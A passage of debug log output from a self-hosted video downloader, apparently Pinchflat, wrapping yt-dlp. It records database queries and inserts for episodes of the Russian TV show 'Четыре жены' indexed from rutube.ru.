short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76348] 20:59:20.376 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре жены побывают друг у друга в гостях. Анастасия из Москвы проявит себя как энергичная жена. Лера из Санкт-Петербурга погрузит участниц в мир своих фантазий. Мария из Москвы покажет, как ей удаётся быть женой-суперзвездой. А Диана из станицы Северской расскажет, почему считает себя женой-штурманом. Смотрите программу «Четыре жены»!", "duration" => 6281, "filename" => "/downloads/rutubeShows/4 жены/Season 2025/s2025e071700 - Четыре жены, 2 сезон, 16 выпуск.mp4", "id" => "b6c847cab459fda2f4c39486fb8c0320", "original_url" => "https://rutube.ru/video/b6c847cab459fda2f4c39486fb8c0320/", "playlist_index" => 26, "timestamp" => 1752768008, "title" => "Четыре жены, 2 сезон, 16 выпуск", "upload_date" => "20250717"} 20:59:20.377 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=80.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:20.379 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=14.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:20.379 [debug] QUERY OK source="media_items" db=0.4ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-17 16:00:08Z], 6] 20:59:20.415 [debug] QUERY OK source="media_items" db=34.4ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре жены побывают друг у друга в гостях. Анастасия из Москвы проявит себя как энергичная жена. Лера из Санкт-Петербурга погрузит участниц в мир своих фантазий. Мария из Москвы покажет, как ей удаётся быть женой-суперзвездой. А Диана из станицы Северской расскажет, почему считает себя женой-штурманом. Смотрите программу «Четыре жены»!", "Четыре жены, 2 сезон, 16 выпуск", "4bedbdc6-29f9-4a86-8156-6b147ff951e2", "b6c847cab459fda2f4c39486fb8c0320", 6281, false, "https://rutube.ru/video/b6c847cab459fda2f4c39486fb8c0320/", 26, "/downloads/rutubeShows/4 жены/Season 2025/s2025e071700 - Четыре жены, 2 сезон, 16 выпуск.mp4", false, false, false, 6, [], 1, ~U[2025-07-17 16:00:08Z], ~U[2025-12-08 17:59:20Z], ~U[2025-12-08 17:59:20Z], "Четыре жены побывают друг у друга в гостях. Анастасия из Москвы проявит себя как энергичная жена. Лера из Санкт-Петербурга погрузит участниц в мир своих фантазий. Мария из Москвы покажет, как ей удаётся быть женой-суперзвездой. А Диана из станицы Северской расскажет, почему считает себя женой-штурманом. Смотрите программу «Четыре жены»!", "Четыре жены, 2 сезон, 16 выпуск", "b6c847cab459fda2f4c39486fb8c0320", 6281, false, "https://rutube.ru/video/b6c847cab459fda2f4c39486fb8c0320/", "/downloads/rutubeShows/4 жены/Season 2025/s2025e071700 - Четыре жены, 2 сезон, 16 выпуск.mp4", false, 6, ~U[2025-07-17 16:00:08Z]] 20:59:20.427 [debug] QUERY OK source="sources" db=11.4ms idle=39.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:20.428 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.1ms idle=49.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:20.429 [debug] QUERY OK source="media_items" db=0.5ms idle=49.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76349] 20:59:20.429 [debug] Current batch of media processed. Will check again in 1000ms 20:59:21.432 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Звёздные участницы пригласят друг друга в гости. Надёжная жена Леся Ярославская, ненапряжная Анна Боронина, стремящаяся к гармонии Ирина Забияка и веселушка-хохотушка Розалия Кабанова покажут, насколько они гостеприимны. Смотрите звёздный выпуск программы «Четыре жены»!", "duration" => 8000, "filename" => "/downloads/rutubeShows/4 жены/Season 2025/s2025e073100 - Четыре жены: Поющие жены.mp4", "id" => "62dc7e86c11b87498c6d744d23e9cd92", "original_url" => "https://rutube.ru/video/62dc7e86c11b87498c6d744d23e9cd92/", "playlist_index" => 27, "timestamp" => 1753965011, "title" => "Четыре жены: Поющие жены", "upload_date" => "20250731"} 20:59:21.440 [debug] QUERY OK source="sources" db=6.3ms queue=0.2ms idle=1018.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:21.446 [debug] QUERY OK source="sources" db=4.3ms queue=0.6ms idle=1014.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:21.452 [debug] QUERY OK source="media_items" db=4.1ms queue=0.8ms idle=1018.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-31 12:30:11Z], 6] 20:59:21.543 [debug] QUERY OK source="media_items" db=90.1ms queue=0.1ms idle=1023.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Звёздные участницы пригласят друг друга в гости. Надёжная жена Леся Ярославская, ненапряжная Анна Боронина, стремящаяся к гармонии Ирина Забияка и веселушка-хохотушка Розалия Кабанова покажут, насколько они гостеприимны. Смотрите звёздный выпуск программы «Четыре жены»!", "Четыре жены: Поющие жены", "ddbf2bfa-86b5-469d-bd7e-59a569955253", "62dc7e86c11b87498c6d744d23e9cd92", 8000, false, "https://rutube.ru/video/62dc7e86c11b87498c6d744d23e9cd92/", 27, "/downloads/rutubeShows/4 жены/Season 2025/s2025e073100 - Четыре жены: Поющие жены.mp4", false, false, false, 6, [], 1, ~U[2025-07-31 12:30:11Z], ~U[2025-12-08 17:59:21Z], ~U[2025-12-08 17:59:21Z], "Звёздные участницы пригласят друг друга в гости. Надёжная жена Леся Ярославская, ненапряжная Анна Боронина, стремящаяся к гармонии Ирина Забияка и веселушка-хохотушка Розалия Кабанова покажут, насколько они гостеприимны. Смотрите звёздный выпуск программы «Четыре жены»!", "Четыре жены: Поющие жены", "62dc7e86c11b87498c6d744d23e9cd92", 8000, false, "https://rutube.ru/video/62dc7e86c11b87498c6d744d23e9cd92/", "/downloads/rutubeShows/4 жены/Season 2025/s2025e073100 - Четыре жены: Поющие жены.mp4", false, 6, ~U[2025-07-31 12:30:11Z]] 20:59:21.560 [debug] QUERY OK source="sources" db=14.5ms queue=0.2ms idle=792.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:21.572 [debug] QUERY OK source="media_profiles" db=9.8ms queue=2.0ms idle=120.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:21.581 [debug] QUERY OK source="media_items" db=4.2ms queue=0.7ms idle=130.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76376] 20:59:21.584 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "В звёздном выпуске «Четырёх жён» участницы покажут, как им удаётся совмещают карьеру и семейную жизнь. Позовут друг друга в гости жена-партнёр Виктория Дмитриева, жена-принцесса Дана Борисова, жена с изюминкой Ассоль и самостоятельная жена Евгения Кривцова. Как пройдут знакомства девушек с семьями конкуренток, увидим в программе «Четыре жены».", "duration" => 8768, "filename" => "/downloads/rutubeShows/4 жены/Season 2025/s2025e100200 - Четыре жены: Жена-принцесса, партнер, самостоятельная, с изюминкой.mp4", "id" => "bbb88ae47bc4a00618ebfb693b35f822", "original_url" => "https://rutube.ru/video/bbb88ae47bc4a00618ebfb693b35f822/", "playlist_index" => 28, "timestamp" => 1759408840, "title" => "Четыре жены: Жена-принцесса, партнер, самостоятельная, с изюминкой", "upload_date" => "20251002"} 20:59:21.589 [debug] QUERY OK source="sources" db=2.0ms queue=0.3ms idle=135.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:21.591 [debug] QUERY OK source="sources" db=0.6ms queue=0.4ms idle=46.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:21.594 [debug] QUERY OK source="media_items" db=1.1ms queue=0.6ms idle=32.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-02 12:40:40Z], 6] 20:59:21.662 [debug] QUERY OK source="media_items" db=66.2ms idle=23.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В звёздном выпуске «Четырёх жён» участницы покажут, как им удаётся совмещают карьеру и семейную жизнь. Позовут друг друга в гости жена-партнёр Виктория Дмитриева, жена-принцесса Дана Борисова, жена с изюминкой Ассоль и самостоятельная жена Евгения Кривцова. Как пройдут знакомства девушек с семьями конкуренток, увидим в программе «Четыре жены».", "Четыре жены: Жена-принцесса, партнер, самостоятельная, с изюминкой", "24a76338-2814-434d-88b0-35297fbcbc7f", "bbb88ae47bc4a00618ebfb693b35f822", 8768, false, "https://rutube.ru/video/bbb88ae47bc4a00618ebfb693b35f822/", 28, "/downloads/rutubeShows/4 жены/Season 2025/s2025e100200 - Четыре жены: Жена-принцесса, партнер, самостоятельная, с изюминкой.mp4", false, false, false, 6, [], 1, ~U[2025-10-02 12:40:40Z], ~U[2025-12-08 17:59:21Z], ~U[2025-12-08 17:59:21Z], "В звёздном выпуске «Четырёх жён» участницы покажут, как им удаётся совмещают карьеру и семейную жизнь. Позовут друг друга в гости жена-партнёр Виктория Дмитриева, жена-принцесса Дана Борисова, жена с изюминкой Ассоль и самостоятельная жена Евгения Кривцова. Как пройдут знакомства девушек с семьями конкуренток, увидим в программе «Четыре жены».", "Четыре жены: Жена-принцесса, партнер, самостоятельная, с изюминкой", "bbb88ae47bc4a00618ebfb693b35f822", 8768, false, "https://rutube.ru/video/bbb88ae47bc4a00618ebfb693b35f822/", "/downloads/rutubeShows/4 жены/Season 2025/s2025e100200 - Четыре жены: Жена-принцесса, партнер, самостоятельная, с изюминкой.mp4", false, 6, ~U[2025-10-02 12:40:40Z]] 20:59:21.672 [debug] QUERY OK source="sources" db=8.4ms queue=0.7ms idle=81.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:21.673 [debug] QUERY OK source="media_profiles" db=1.1ms queue=0.1ms idle=83.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:21.675 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://rutube.ru/metainfo/tv/294997/ --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/rutubeShows/4 жены/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a7/84/a78420998db36104fe553b0f4c5b4f6772dd52ab6dded6933af9ada61e44e4f3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:59:21.676 [debug] QUERY OK source="media_items" db=2.0ms idle=83.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76377] 20:59:21.678 [debug] Current batch of media processed. Will check again in 1000ms 20:59:21.679 [debug] Gracefully stopping file follower 20:59:21.680 [debug] QUERY OK source="sources" db=0.3ms idle=85.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:21.681 [debug] QUERY OK source="sources" db=0.2ms idle=18.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:21.681 [debug] QUERY OK source="media_items" db=0.3ms idle=9.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-03 13:20:18Z], 6] 20:59:21.746 [debug] QUERY OK source="media_items" db=63.8ms idle=8.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["«Четыре жены» отправляются в Турцию! Ирина из Стамбула, Мария из Анталии, Женя и Алина из Алании покажут, какими женами они стали. Удалось ли девушкам перенять традиции местных хозяек, реализовать себя в незнакомой для них культуре и укротить горячие сердца своих мужей? Узнаем из программы «Четыре жены».", "Четыре жены: Начинающая жена, огненная, неправильная, капризная", "2c8d29a7-787b-41c9-b59c-eabfd7040f4b", "48339642a1d3fe289d0567dd4c336feb", 6915, false, "https://rutube.ru/video/48339642a1d3fe289d0567dd4c336feb/", 1, "/downloads/rutubeShows/4 жены/Season 2025/s2025e070300 - Четыре жены: Начинающая жена, огненная, неправильная, капризная.mp4", false, false, false, 6, [], 1, ~U[2025-07-03 13:20:18Z], ~U[2025-12-08 17:59:21Z], ~U[2025-12-08 17:59:21Z], "«Четыре жены» отправляются в Турцию! Ирина из Стамбула, Мария из Анталии, Женя и Алина из Алании покажут, какими женами они стали. Удалось ли девушкам перенять традиции местных хозяек, реализовать себя в незнакомой для них культуре и укротить горячие сердца своих мужей? Узнаем из программы «Четыре жены».", "Четыре жены: Начинающая жена, огненная, неправильная, капризная", "48339642a1d3fe289d0567dd4c336feb", 6915, false, "https://rutube.ru/video/48339642a1d3fe289d0567dd4c336feb/", "/downloads/rutubeShows/4 жены/Season 2025/s2025e070300 - Четыре жены: Начинающая жена, огненная, неправильная, капризная.mp4", false, 6, ~U[2025-07-03 13:20:18Z]] 20:59:21.761 [debug] QUERY OK source="sources" db=13.6ms queue=0.5ms idle=70.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:21.762 [debug] QUERY OK source="media_items" db=0.6ms queue=0.2ms idle=80.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-01 14:40:10Z], 6] 20:59:21.791 [debug] QUERY OK source="media_items" db=27.3ms idle=81.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Участницы программы «Четыре свадьбы» решили показать, какими они стали жёнами. В этом выпуске Ольга из Москвы поделится кулинарными рецептами, которые набрали большое количество просмотров в её блоге, и покажет, как они с мужем проводят вечера в баре. Вика из Челябинска расскажет о своей семейной жизни без бытовых проблем. Диана из Санкт-Петербурга вместе с мужем подготовит для участниц театральный перформанс. А Вика из Москвы покажет, как совмещает заботу о ребёнке с ведением своего блога. Смотрите программу «Четыре жены»!", "Четыре жены: Жена-огонь, пофигистка, творец и любовница", "309cc606-e4d4-4ae2-bc29-7851a4708028", "a29c461295ef58c5be2dbbc4b51b1885", 6176, false, "https://rutube.ru/video/a29c461295ef58c5be2dbbc4b51b1885/", 2, "/downloads/rutubeShows/4 жены/Season 2023/s2023e060100 - Четыре жены: Жена-огонь, пофигистка, творец и любовница.mp4", false, false, false, 6, [], 1, ~U[2023-06-01 14:40:10Z], ~U[2025-12-08 17:59:21Z], ~U[2025-12-08 17:59:21Z], "Участницы программы «Четыре свадьбы» решили показать, какими они стали жёнами. В этом выпуске Ольга из Москвы поделится кулинарными рецептами, которые набрали большое количество просмотров в её блоге, и покажет, как они с мужем проводят вечера в баре. Вика из Челябинска расскажет о своей семейной жизни без бытовых проблем. Диана из Санкт-Петербурга вместе с мужем подготовит для участниц театральный перформанс. А Вика из Москвы покажет, как совмещает заботу о ребёнке с ведением своего блога. Смотрите программу «Четыре жены»!", "Четыре жены: Жена-огонь, пофигистка, 